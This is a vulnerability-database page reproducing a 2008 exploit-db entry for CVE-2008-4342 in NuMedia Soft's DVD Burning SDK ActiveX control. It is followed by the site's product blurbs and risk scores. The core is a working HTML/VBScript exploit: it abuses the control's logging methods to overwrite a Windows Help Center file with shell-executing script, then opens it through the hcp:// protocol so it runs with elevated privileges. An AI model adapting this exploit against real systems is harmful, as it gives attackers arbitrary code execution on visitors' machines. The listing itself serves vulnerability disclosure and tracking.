NuMedia Soft Nms DVD Burning SDK - ActiveX 'NMSDVDX.dll' Command Execution
🗓️ 19 Sep 2008 00:00:00Reported by Nine:Situations:GroupType 
exploitdb🔗 www.exploit-db.com👁 45 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2008-4342 | 19 Sep 200800:00 | – | circl |
 | CVE-2008-4342 | 30 Sep 200817:00 | – | cve |
 | CVE-2008-4342 | 30 Sep 200817:00 | – | cvelist |
 | KLA10097 WLF vulnerability in CDBurnerXP | 30 Sep 200800:00 | – | kaspersky |
 | CVE-2008-4342 | 30 Sep 200817:22 | – | nvd |
 | NuMedia Soft DVD Burning SDK Activex Control RCE Vulnerability | 26 Sep 200800:00 | – | openvas |
| Detection of Dangerous ActiveX Control | 4 Feb 200900:00 | – | openvas |
| NuMedia Soft DVD Burning SDK Activex Control Remote Code Execution Vulnerability | 26 Sep 200800:00 | – | openvas |
| Detection of Dangerous ActiveX Control | 4 Feb 200900:00 | – | openvas |
 | Remote code execution | 30 Sep 200817:22 | – | prion |
10
<!--
5.06 19/09/2008 -----------------------------------------------------------
-- NuMedia Soft NMS DVD Burning SDK Activex (NMSDVDX.dll) remote exploit --
by Nine:Situations:Group::bruiser
software site: http://www.nugroovz.com/
our site: http://retrogod.altervista.org/
affected software: CDBurnerXP 4.2.1.976, ??
tested against IE6
settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
mitigation: an "unlicensed software" box appears
however, if the user close it or click "OK", the code will run normally
explaination: "EnableLog" method can be used to overwrite a specified file,
"LogMessage" one to write new lines on it.
Trough the Help and Support Center and the pluggable "hcp://" protocol you
can launch your file. Important to note: the Help Center will host the page
with elevated privileges, allowing the page to script arbitrary controls
with no prompts presented to the user.
This was suggested by rgod (see hj forum) as a way to immediately execute
the shell
---------------------------------------------------------------------------
-->
<html>
<title> :( </title>
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='DVDEngineX' />
</object>
<script language='vbscript'>
DVDEngineX.Initialize True
sLogFileName="C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm"
bCreateNew=True
DVDEngineX.EnableLog sLogFileName ,bCreateNew
nl=unescape("%0d%0a")
'my garbage ...
sMsg="<HTML>" & _
"<SCRIPT LANGUAGE=VBScript>" & nl & _
"Dim WshShell, oExec" & nl & _
"Set WshShell = CreateObject(""WScript.Shell"")" & nl & _
"Set oExec = WshShell.Exec(""calc"")" & nl & _
"Do While oExec.Status = 0" & nl & _
"WScript.Sleep 100" & nl & _
"Loop" & nl & _
"WScript.Echo oExec.Status" & nl & _
"<" & Chr(47) & "SCRIPT>" & nl & _
"<" & Chr(47) & "HTML>"
DVDEngineX.LogMessage sMsg
window.location = "hcp://system/sysinfo/msinfo.htm"
</script>
</html>
# milw0rm.com [2008-09-19]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.17203